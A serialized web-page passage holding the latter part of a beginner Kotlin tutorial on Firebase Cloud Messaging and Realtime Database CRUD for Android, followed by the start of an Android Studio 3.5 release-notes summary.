service.",[438,835],{"className":836,"alt":66,"src":837,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081111\u002FScreen-Shot-2020-02-20-at-8.13.02-AM-65-1024x625.png",[11,839,840,841,844,845,848],{},"Now you will see an error at ",[20,842,843],{},"line 23",". This is occurred because we don’t have ",[51,846,847],{},"MyFirebaseMessagingService"," file in project so let create it.",[438,850],{"className":851,"alt":66,"src":852,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081137\u002FScreen-Shot-2020-02-20-at-8.16.28-AM-67.png",[11,854,855,859],{},[438,856],{"className":857,"alt":66,"src":858,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081206\u002FScreen-Shot-2020-02-20-at-8.17.14-AM-69.png",[473,860],{},[438,862],{"className":863,"alt":66,"src":864,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081227\u002FScreen-Shot-2020-02-20-at-8.17.30-AM-71-1024x183.png",[11,866,867,868,871,872,878],{},"Change package name from ",[51,869,870],{},".java.MyFirebaseMessagingService"," to ",[51,873,874],{},[875,876,877],"package",{},".MyFirebaseMessagingService",".",[438,880],{"className":881,"alt":66,"src":882,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081251\u002FScreen-Shot-2020-02-20-at-8.24.31-AM-77-1024x627.png",[11,884,885,887],{},[20,886,459],{}," (optional): Set a default icon and color, you can skip this step if you do not want icon and color in your notification.",[605,889,892],{"className":890,"code":891,"language":610},[608],"\u003C!-- Set custom default icon. This is used when no icon is set for incoming notification messages.\n     See README(https:\u002F\u002Fgoo.gl\u002Fl4GJaQ) for more. -->\n\u003Cmeta-data\n    android:name=\"com.google.firebase.messaging.default_notification_icon\"\n    android:resource=\"@drawable\u002Fic_stat_ic_notification\" \u002F>\n\u003C!-- Set color used with incoming notification messages. This is used when no color is set for the incoming\n     notification message. See README(https:\u002F\u002Fgoo.gl\u002F6BKBk7) for more. -->\n\u003Cmeta-data\n    android:name=\"com.google.firebase.messaging.default_notification_color\"\n    android:resource=\"@color\u002FcolorAccent\" \u002F>\n",[612,893,891],{"__ignoreMap":66},[438,895],{"className":896,"alt":66,"src":897,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081324\u002FScreen-Shot-2020-02-20-at-8.36.41-AM-79-1024x627.png",[11,899,900,902,903,908,909,914,915,878],{},[20,901,483],{}," (Optional): From Android 8.0 (API level 26) and higher, ",[55,904,907],{"href":905,"rel":906},"https:\u002F\u002Fdeveloper.android.com\u002Fguide\u002Ftopics\u002Fui\u002Fnotifiers\u002Fnotifications.html#ManageChannels",[59],"notification channels"," are supported and recommended. FCM provides a default notification channel with basic settings. If you prefer to ",[55,910,913],{"href":911,"rel":912},"https:\u002F\u002Fdeveloper.android.com\u002Fguide\u002Ftopics\u002Fui\u002Fnotifiers\u002Fnotifications.html#CreateChannel",[59],"create"," and use your own default channel, set default_notification_channel_id to the ID of your notification channel object as shown; FCM will use this value whenever incoming messages do not explicitly set a notification channel. To learn more, see ",[55,916,918],{"href":905,"rel":917},[59],"Manage notification channels",[11,920,921,922,925],{},"Goto ",[20,923,924],{},"res\u002Fvalues\u002Fstrings.xml"," and add this line.",[605,927,930],{"className":928,"code":929,"language":610},[608],"\u003Cstring name=\"default_notification_channel_id\">1\u003C\u002Fstring>\n",[612,931,929],{"__ignoreMap":66},[438,933],{"className":934,"alt":66,"src":935,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081349\u002FScreen-Shot-2020-02-20-at-8.44.38-AM-83-1024x350.png",[11,937,938,939,942],{},"Open ",[20,940,941],{},"AndroidManifest"," file and add this code.",[605,944,947],{"className":945,"code":946,"language":610},[608],"\u003Cmeta-data\n    android:name=\"com.google.firebase.messaging.default_notification_channel_id\"\n    android:value=\"@string\u002Fdefault_notification_channel_id\" \u002F>\n",[612,948,946],{"__ignoreMap":66},[438,950],{"className":951,"alt":66,"src":952,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081416\u002FScreen-Shot-2020-02-20-at-8.46.55-AM-85-1024x627.png",[11,954,212,955,957,958,961],{},[20,956,518],{},": Open ",[20,959,960],{},"MainActivity"," to retrieve the current registration token, add this function",[605,963,966],{"className":964,"code":965,"language":610},[608],"private fun createInstanceId() {\n    FirebaseInstanceId.getInstance().instanceId.addOnCompleteListener { task ->\n        if (!task.isSuccessful) {\n            Log.w(TAG, \"getInstanceId failed\", task.exception)\n            return@addOnCompleteListener\n        }\n\n        \u002F\u002Fget id Token\n        \u002F\u002F Get new Instance ID token\n        val token = task.result?.token\n\n        \u002F\u002F Log and toast\n        Log.d(TAG, \"token: $token\")\n        Toast.makeText(baseContext, \"token: $token\", Toast.LENGTH_SHORT).show()\n    }\n}\n",[612,967,965],{"__ignoreMap":66},[438,969],{"className":970,"alt":66,"src":971,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081446\u002FScreen-Shot-2020-02-20-at-8.56.08-AM-87-1024x626.png",[11,973,974],{},"Run the app, to get Firebase instance ID.",[438,976],{"className":977,"alt":66,"src":978,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081508\u002FScreenshot_20200220-125154-768x1365.jpg",[11,980,981,983,984,986],{},[20,982,550],{},": Add the code below into the ",[20,985,847],{}," class.",[605,988,991],{"className":989,"code":990,"language":610},[608],"class MyFirebaseMessagingService : FirebaseMessagingService() {\n    companion object {\n        private val TAG = this::class.java.simpleName\n    }\n\n    override fun onNewToken(token: String) {\n        Log.d(TAG, \"Refreshed token: $token\")\n        super.onNewToken(token)\n    }\n\n    override fun onMessageReceived(remoteMessage: RemoteMessage) {\n        super.onMessageReceived(remoteMessage)\n        Log.d(TAG, \"From: ${remoteMessage.from}\")\n\n        remoteMessage.data.isNotEmpty().let {\n        }\n\n        remoteMessage.notification?.let {\n            Log.d(TAG, \"Message Notification Body: ${it.body}\")\n            it.body?.let { body ->\n                sendNotification(body)\n            }\n        }\n    }\n\n    private fun sendNotification(messageBody: String) {\n        val intent = Intent(this, CloudMessageActivity::class.java)\n        intent.flags = Intent.FLAG_ACTIVITY_CLEAR_TOP\n        val pendingIntent = PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_ONE_SHOT)\n\n        val channelId = getString(R.string.default_notification_channel_id)\n        val defaultSoundUri = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION)\n        val notificationBuilder = NotificationCompat.Builder(this, channelId)\n            .setSmallIcon(R.drawable.ic_notifications)\n            .setContentTitle(\"Mess Title\")\n            .setContentText(messageBody)\n            .setAutoCancel(true)\n            .setSound(defaultSoundUri)\n            .setContentIntent(pendingIntent)\n\n        val notificationManager =\n            getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager\n\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {\n            val channel = NotificationChannel(\n                channelId, \"Channel human readable title\",\n                NotificationManager.IMPORTANCE_DEFAULT\n            )\n            notificationManager.createNotificationChannel(channel)\n        }\n\n        notificationManager.notify(1, notificationBuilder.build())\n    }\n}\n",[612,992,990],{"__ignoreMap":66},[11,994,995,997,998,878],{},[20,996,721],{},": Test ",[20,999,1000],{},"Cloud Messaging",[438,1002],{"className":1003,"alt":66,"src":1004,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081528\u002FScreen-Shot-2020-02-20-at-12.47.45-PM.png",[11,1006,1007,1008,212,1011,1014,1015,1017,1018,1021,1022,1027],{},"Enter ",[20,1009,1010],{},"Notification",[20,1012,1013],{},"Title",", ",[20,1016,610],{}," and ",[20,1019,1020],{},"image"," (optional) ex: ",[55,1023,1026],{"href":1024,"rel":1025},"https:\u002F\u002Fcdn.pixabay.com\u002Fphoto\u002F2017\u002F07\u002F07\u002F02\u002F05\u002Fsymbol-2480161%5C_960%5C_720.png",[59],"https:\u002F\u002Fcdn.pixabay.com\u002Fphoto\u002F2017\u002F07\u002F07\u002F02\u002F05\u002Fsymbol-2480161\\_960\\_720.png"," and send test message.",[438,1029],{"className":1030,"alt":66,"src":1031,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081545\u002FScreen-Shot-2020-02-20-at-1.00.12-PM.png",[11,1033,1034,1035,1038],{},"Add the token we got from ",[20,1036,1037],{},"Logcat"," (step 5)",[438,1040],{"className":1041,"alt":66,"src":1042,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081608\u002FScreen-Shot-2020-02-20-at-1.07.28-PM.png",[11,1044,1045,1047,1048],{},[20,1046,711],{},":\n",[438,1049],{"className":1050,"alt":66,"src":1051,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081635\u002FScreenshot_20200220-141558-768x1365.jpg",[11,1053,1054,1056],{},[20,1055,721],{},": Create and send message.",[11,1058,1059,1060,1063,1064,1068],{},"After test successfully, click \"",[20,1061,1062],{},"Next","\" to continue.\n",[438,1065],{"className":1066,"alt":66,"src":1067,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081717\u002FScreen-Shot-2020-02-20-at-2.22.42-PM.png",[473,1069],{},[11,1071,1072,1076],{},[438,1073],{"className":1074,"alt":66,"src":1075,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081729\u002FScreen-Shot-2020-02-20-at-2.25.56-PM.png",[473,1077],{},[438,1079],{"className":1080,"alt":66,"src":1081,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081755\u002FScreen-Shot-2020-02-20-at-2.23.43-PM.png",[11,1083,739,1084,1086],{},[20,1085,759],{},"\" to send a message.",[11,1088,1089,712],{},[20,1090,711],{},[765,1092,1094,1099],{"className":1093},[768,769,770],[438,1095],{"className":1096,"alt":66,"src":1097,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081831\u002FScreenshot_20200220-144456_One-UI-Home-768x652.jpg","width: 60%;",[438,1100],{"className":1101,"alt":66,"src":1102,"style":1103},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081852\u002FScreenshot_20200220-144505-768x954.png","width: 40%;",[473,1105],{},[438,1107],{"className":1108,"alt":66,"src":1109,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081914\u002FScreenshot_20200220-144509-576x1024.jpg",[403,1111,1113],{"id":1112},"v-realtime-database","V. Realtime Database",[565,1115,568],{"id":1116},"_1-introduction-2",[11,1118,1119],{},"The Firebase Realtime Database is a cloud-hosted database. Data is stored as JSON and synchronized in realtime to every connected client. When you build cross-platform apps with our iOS, Android, and JavaScript SDKs, all of your clients share one Realtime Database instance and automatically receive updates with the newest data.",[565,1121,575],{"id":1122},"_2-get-start-2",[11,1124,1125,580,1127,1130,1131,436],{},[20,1126,431],{},[20,1128,1129],{},"implementation 'com.google.firebase:firebase-database:19.2.1'"," \"into \"build.gradle\" (app) and Click \"",[20,1132,593],{},[438,1134],{"className":1135,"alt":66,"src":1136,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082008\u002FScreen-Shot-2020-02-20-at-3.26.15-PM-1024x382.png",[11,1138,1139,1141],{},[20,1140,449],{},": Configure realtime database rules for testing",[438,1143],{"className":1144,"alt":66,"src":1145,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082049\u002FScreen-Shot-2020-02-20-at-3.38.14-PM-1024x541.png",[11,1147,1148,1149],{},"About real time database rules you can read from ",[55,1150,1153],{"href":1151,"rel":1152},"https:\u002F\u002Ffirebase.google.com\u002Fdocs\u002Fdatabase\u002Fsecurity\u002Fquickstart#sample-rules%22",[59],"here",[11,1155,1156,1158],{},[20,1157,459],{},": Create UserModel Class",[605,1160,1163],{"className":1161,"code":1162,"language":610},[608],"data class UserModel(\n    var id: String = \"\",\n    var name: String = \"\",\n    var age: Int = 0,\n    var email: String = \"\"\n) {\n    override fun toString(): String {\n        return \"UserModel(id='$id', name='$name', age=$age, email='$email')\"\n    }\n}\n",[612,1164,1162],{"__ignoreMap":66},[11,1166,1167,1169],{},[20,1168,483],{},": Create layout with 3 edit (name, age and email), 4 button (insert, get, update, delete), 1 recycler view to contain User data",[11,1171,1172,1173],{},"This is my layout. ",[438,1174],{"className":1175,"alt":66,"src":1176,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082107\u002FScreenshot_20200220-160304-739x1536.png",[11,1178,1179],{},[20,1180,1181],{},"Step 5:",[11,1183,1184],{},"Write to your database",[11,1186,1187,1188,878],{},"First initialize ",[51,1189,1190],{},"databaseReference",[605,1192,1195],{"className":1193,"code":1194,"language":610},[608],"private fun initDatabase() {\n    databaseReference = FirebaseDatabase.getInstance().reference\n}\n",[612,1196,1194],{"__ignoreMap":66},[11,1198,1199],{},"Next, get data from EditText and insert to database.",[605,1201,1204],{"className":1202,"code":1203,"language":610},[608],"private fun insertUser() {\n    if (edt_name.text.isNullOrEmpty() || edt_age.text.isNullOrEmpty() || edt_email.text.isNullOrEmpty()) {\n        Toast.makeText(this, \"Some field are missing.\", Toast.LENGTH_SHORT).show()\n        return\n    }\n\n    \u002F\u002Fget key\n    val key = databaseReference.child(\"User\").push().key\n\n    \u002F\u002Fget user data from edit text\n    val user = UserModel(\n        name = edt_name.text.toString(),\n        age = edt_age.text.toString().toInt(),\n        email = edt_email.text.toString()\n    )\n\n    key?.let {\n        user.id = key\n\n        \u002F\u002F Write a data to the database\n        databaseReference.child(\"User\").child(key).setValue(user).addOnSuccessListener {\n            clearText()\n            \u002F\u002Fget user data from database\n            getUser()\n            \u002F\u002Fscroll to new item\n            recycler_user.scrollToPosition(recyclerAdapter.userList.size - 1)\n        }\n            .addOnFailureListener {\n                Toast.makeText(this, \"Upload Error\", Toast.LENGTH_SHORT).show()\n            }\n    }\n}\n",[612,1205,1203],{"__ignoreMap":66},[11,1207,1208],{},"Add this code to insert button click event.",[605,1210,1213],{"className":1211,"code":1212,"language":610},[608],"btn_insert.setOnClickListener {\n    insertUser()\n}\n",[612,1214,1212],{"__ignoreMap":66},[11,1216,1217,1218,1221],{},"After clicking the \"",[20,1219,1220],{},"Insert","\" button in your app, data will be send to Firebase immediately.",[438,1223],{"className":1224,"alt":66,"src":1225,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082139\u002FScreen-Shot-2020-02-20-at-4.36.54-PM.png",[11,1227,1228],{},[20,1229,1230],{},"Read database:",[605,1232,1235],{"className":1233,"code":1234,"language":610},[608],"databaseReference.child(\"User\").addValueEventListener(object : ValueEventListener {\n    override fun onCancelled(dataError: DatabaseError) {\n        Toast.makeText(this@DataBaseActivity, \"Upload Error\", Toast.LENGTH_SHORT).show()\n    }\n\n    override fun onDataChange(dataSnapshot: DataSnapshot) {\n        \n        \u002F\u002Fget user list from database\n        val list = dataSnapshot.children.mapNotNull {\n            it.getValue(UserModel::class.java)\n        }\n        list.forEach {\n            Log.i(\"Users\", it.toString())\n        }\n        \u002F\u002Fadd to recycler view\n        if (list.isNotEmpty()) {\n            recyclerAdapter.userList.clear()\n            recyclerAdapter.userList.addAll(list)\n            recyclerAdapter.notifyDataSetChanged()\n        }\n    }\n})\n",[612,1236,1234],{"__ignoreMap":66},[438,1238],{"className":1239,"alt":66,"src":1240,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082214\u002FScreenshot_20200221-082417-739x1536.png",[11,1242,1243],{},[20,1244,1245],{},"Update database:",[605,1247,1250],{"className":1248,"code":1249,"language":610},[608],"private fun updateUser() {\n    user?.let {\n        \u002F\u002Fcreate new user object\n        val user = UserModel(\n            it.id,\n            edt_name.text.toString(),\n            edt_age.text.toString().toInt(),\n            edt_email.text.toString()\n        )\n        \u002F\u002Fupdate user\n        databaseReference.child(\"User\u002F${it.id}\").setValue(user)\n    }\n}\n",[612,1251,1249],{"__ignoreMap":66},[438,1253],{"className":1254,"alt":66,"src":1255,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082239\u002FScreen-Shot-2020-02-20-at-5.13.21-PM.png",[11,1257,1258,712],{},[20,1259,1260],{},"Delete database",[605,1262,1265],{"className":1263,"code":1264,"language":610},[608],"private fun deleteUser() {\n    \u002F\u002F get user id\n    val query =\n        databaseReference.child(\"User\").orderByChild(\"id\").equalTo(user?.id)\n\n    query.addListenerForSingleValueEvent(object : ValueEventListener {\n        override fun onDataChange(dataSnapshot: DataSnapshot) {\n            for (user in dataSnapshot.children) {\n                \u002F\u002Fremove user\n                user.ref.removeValue().addOnSuccessListener {\n                    clearText()\n                }\n            }\n        }\n\n        override fun onCancelled(databaseError: DatabaseError) {\n            Log.e(\n                TAG,\n                \"onCancelled\",\n                databaseError.toException()\n            )\n        }\n    })\n    getUser()\n}\n",[612,1266,1264],{"__ignoreMap":66},[438,1268],{"className":1269,"alt":66,"src":1270,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082302\u002FScreen-Shot-2020-02-20-at-5.14.08-PM.png",[403,1272,1274],{"id":1273},"vi-reference-documents","VI. Reference documents",[11,1276,1277],{},[55,1278,1279],{"href":1279,"rel":1280},"https:\u002F\u002Ffirebase.google.com\u002Fdocs\u002Fguides",[59],[11,1282,1283],{},[55,1284,1285],{"href":1285,"rel":1286},"https:\u002F\u002Fgithub.com\u002Ffirebase\u002Fquickstart-android\u002Fblob\u002F995be41782f84b3c54e41d7d7e5d3a5048fe329e\u002Fmessaging\u002Fapp\u002Fsrc\u002Fmain\u002Fjava\u002Fcom\u002Fgoogle\u002Ffirebase\u002Fquickstart\u002Ffcm\u002Fkotlin\u002FMyFirebaseMessagingService.kt#L65-L77",[59],[11,1288,1289],{},[55,1290,1291],{"href":1291,"rel":1292},"https:\u002F\u002Fproandroiddev.com\u002Ffirebase-android-playground-realtime-database-560d4e18404a",[59],[11,1294,1295],{},[55,1296,1297],{"href":1297,"rel":1298},"https:\u002F\u002Fwww.learnhowtoprogram.com\u002Fandroid\u002Fdata-persistence\u002Ffirebase-reading-data-and-event-listeners",[59],{"title":66,"searchDepth":67,"depth":67,"links":1300},[1301,1302,1303,1308,1312,1316],{"id":405,"depth":67,"text":406},{"id":418,"depth":67,"text":419},{"id":562,"depth":67,"text":563,"children":1304},[1305,1307],{"id":567,"depth":1306,"text":568},3,{"id":574,"depth":1306,"text":575},{"id":787,"depth":67,"text":788,"children":1309},[1310,1311],{"id":791,"depth":1306,"text":568},{"id":797,"depth":1306,"text":575},{"id":1112,"depth":67,"text":1113,"children":1313},[1314,1315],{"id":1116,"depth":1306,"text":568},{"id":1122,"depth":1306,"text":575},{"id":1273,"depth":67,"text":1274},[1318,1319],"mobile","tech talk","2020-02-25","What is Firebase Google Firebase is a Google-backed application development software that enables developers to develop iOS, Android and Web apps. Firebase provides tools for tracking analytics, reporting and fixing app crashes, creating marketing and product experiment. Firebase has many services and today I’m going to introduce to in-app messaging, cloud messages and real-time databases",{},"\u002Fnews\u002Fandroid-firebase-for-beginer",{"title":391,"description":1321},"news\u002Fandroid-firebase-for-beginer","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F22075346\u002FFirebase-banner-1536x483-1.png","katk9JxrZN6LFsKquFUjFevI6dvX85m2wo6n9UPBD9E",{"id":1329,"title":1330,"body":1331,"category":1725,"created by":70,"date":1726,"description":1727,"extension":72,"meta":1728,"navigation":74,"path":1729,"sections":76,"seo":1730,"stem":1731,"thumbnail":1732,"__hash__":1733},"content_en\u002Fnews\u002Fandroid-studio-3-5-release-note-summary.md","Android Studio 3.5 Release Note Summary",{"type":8,"value":1332,"toc":1705},[1333,1348,1354,1360,1368,1372,1375,1390,1402,1406,1413,1425,1428,1434,1442,1448,1451,1457,1461,1464,1468,1491,1497,1500,1504,1510,1513,1519,1522,1526,1529,1533,1536,1543,1554,1562,1566,1569,1573,1590,1594,1597,1601,1604,1608,1611,1618,1623,1630,1634,1639,1642,1645,1651,1658,1692,1697],[11,1334,1335,1336,1341,1342,1347],{},"Android Studio 3.5 focuses on improving three main areas of the IDE: ",[55,1337,1340],{"href":1338,"rel":1339},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freleases#3-5-system-health",[59],"system health",", ",[55,1343,1346],{"href":1344,"rel":1345},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freleases#3-5-feature-polish",[59],"feature polish",", and fixing bugs.",[403,1349,1351],{"id":1350},"i-new-function",[20,1352,1353],{},"I. New Function",[565,1355,1357],{"id":1356},"_1-recommended-memory-settings",[20,1358,1359],{},"1. Recommended memory settings",[11,1361,1362,1363,878],{},"By default, Android Studio has a maximum heap size of 1280MB. If you are working on a large project, or your system has a lot of RAM, you can improve performance by increasing the maximum heap size for Android Studio processes, such as the core IDE, Gradle daemon, and Kotlin daemon. Android Studio automatically checks for possible heap size optimizations and notifies you if it detects that performance can be improved. To learn more, see ",[55,1364,1367],{"href":1365,"rel":1366},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Fintro\u002Fstudio-config#adjusting_heap_size",[59],"Maximum heap size",[438,1369],{"className":1370,"alt":66,"src":1371,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103014\u002FScreen-Shot-2019-09-20-at-3.20.07-PM.png",[11,1373,1374],{},"or you can also adjust the heap sizes for your project manually. To do so, follow these steps: ",[11,1376,1377,1378,1381,1382,1385,1386,1389],{},"1. Click ",[20,1379,1380],{},"File"," > ",[20,1383,1384],{},"Settings"," from the menu bar (or Android Studio > ",[20,1387,1388],{},"Preferences"," on macOS).",[11,1391,1392,1393,1381,1396,1381,1399,878],{},"2. Click ",[20,1394,1395],{},"Appearance & Behavior",[20,1397,1398],{},"System Settings",[20,1400,1401],{},"Memory Settings",[438,1403],{"className":1404,"alt":66,"src":1405,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103132\u002FScreen-Shot-2019-09-20-at-4.09.48-PM.png",[565,1407,1409,1410],{"id":1408},"_2memory-usage-report","2. ",[20,1411,1412],{},"Memory usage report",[11,1414,1415,1416,1419,1420,878],{},"Memory problems in Android Studio are sometimes difficult to reproduce and report. To help solve this problem, Android Studio lets you generate a memory usage report by clicking ",[20,1417,1418],{},"Help > Analyze Memory Usage"," from the menu bar. When you do so, the IDE locally sanitizes the data for personal information before asking whether you want to send it to the Android Studio team to help identify the source of the memory issues.  To learn more, see ",[55,1421,1424],{"href":1422,"rel":1423},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freport-bugs#run-memory-usage-report",[59],"Run a memory usage report",[438,1426],{"className":1427,"alt":66,"src":1405,"style":444},[441,442],[565,1429,1431],{"id":1430},"_3-windows-antivirus-file-io-optimization",[20,1432,1433],{},"3. Windows: Antivirus file I\u002FO optimization",[11,1435,1436,1437],{},"Android Studio now automatically checks whether certain project directories are excluded from real-time antivirus scanning. When adjustments can be made to improve build performance, Android Studio notifies you and provides instructions on how to optimize your antivirus configuration. To learn more, see ",[55,1438,1441],{"href":1439,"rel":1440},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Fintro\u002Fstudio-config#antivirus-impact",[59],"Minimize the impact of antivirus software on build speed",[565,1443,1445],{"id":1444},"_4-chrome-os-support",[20,1446,1447],{},"4. Chrome OS Support:",[11,1449,1450],{},"Android Studio now officially supports Chrome OS devices, such as the HP Chromebook x360 14, Acer Chromebook 13\u002FSpin 13.",[403,1452,1454],{"id":1453},"ii-existing-features",[20,1455,1456],{},"II. Existing Features",[565,1458,1460],{"id":1459},"_1applychanges","1. ApplyChanges",[11,1462,1463],{},"Apply Changes lets you push code and resource changes to your running app without restarting your app—and, in some cases, without restarting the current activity.",[438,1465],{"className":1466,"alt":66,"src":1467,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103225\u002Fapply-changes-buttons-3.5.png",[203,1469,1470,1480,1485],{},[34,1471,1472,1475,1476,1479],{},[20,1473,1474],{},"Apply Code Changes"," Attempts to apply only your code changes without restarting anything. Generally, you can use this option when you've modified code in the body of a method but you have not modified any resources. If you've modified both code and resources, use ",[20,1477,1478],{},"Apply Changes and Restart Activity"," instead.",[34,1481,1482,1484],{},[20,1483,1478],{}," Attempts to apply both your resource and code changes by restarting your activity but without restarting your app. Generally, you can use this option when you've modified code in the body of a method or modified an existing resource.",[34,1486,1487,1490],{},[20,1488,1489],{},"Run"," Deploys all changes and restarts the app. Use this option when the changes that you have made cannot be applied using either of the Apply Changes options.",[565,1492,1494],{"id":1493},"_2-app-deployment-flow",[20,1495,1496],{},"2. App deployment flow",[11,1498,1499],{},"The IDE has a new drop-down menu that lets you quickly select which device you'd like to deploy your app to. This menu also includes a new option that lets you run your app on multiple devices at once.",[438,1501],{"className":1502,"alt":66,"src":1503,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103251\u002Fdeploy-run-app-1024x544.png",[565,1505,1507],{"id":1506},"_3-gradle-sync-and-cache-detection",[20,1508,1509],{},"3. Gradle sync and cache detection",[11,1511,1512],{},"The IDE now better detects when Gradle periodically clears your build cache when reducing its hard disk consumption. In previous versions, this state caused the IDE to report missing dependencies and Gradle sync to fail. Now, the IDE simply downloads dependencies as needed to ensure that Gradle sync completes successfully.",[565,1514,1516],{"id":1515},"_4-data-binding",[20,1517,1518],{},"4. Data Binding",[11,1520,1521],{},"Improves smart editor features and performance when creating data binding expressions in XML.",[438,1523],{"className":1524,"alt":66,"src":1525,"style":444},[441,442],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fxml-editing-latency-3.4.gif",[11,1527,1528],{},"Android Studio 3.4.",[438,1530],{"className":1531,"alt":66,"src":1532,"style":444},[441,442],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fxml-editing-latency-3.5.gif",[11,1534,1535],{},"Android Studio 3.5.",[565,1537,1539,1540],{"id":1538},"_5layout-editor","5. ",[20,1541,1542],{},"Layout Editor",[11,1544,1545,1546,1549,1550,1553],{},"When working with ConstraintLayout, a new ",[20,1547,1548],{},"Constraints"," section in the ",[20,1551,1552],{},"Attributes"," panel lists the constraints relationships of the selected UI component. You can select a constraint either from the design surface or from the constraints list to highlight the constraint in both 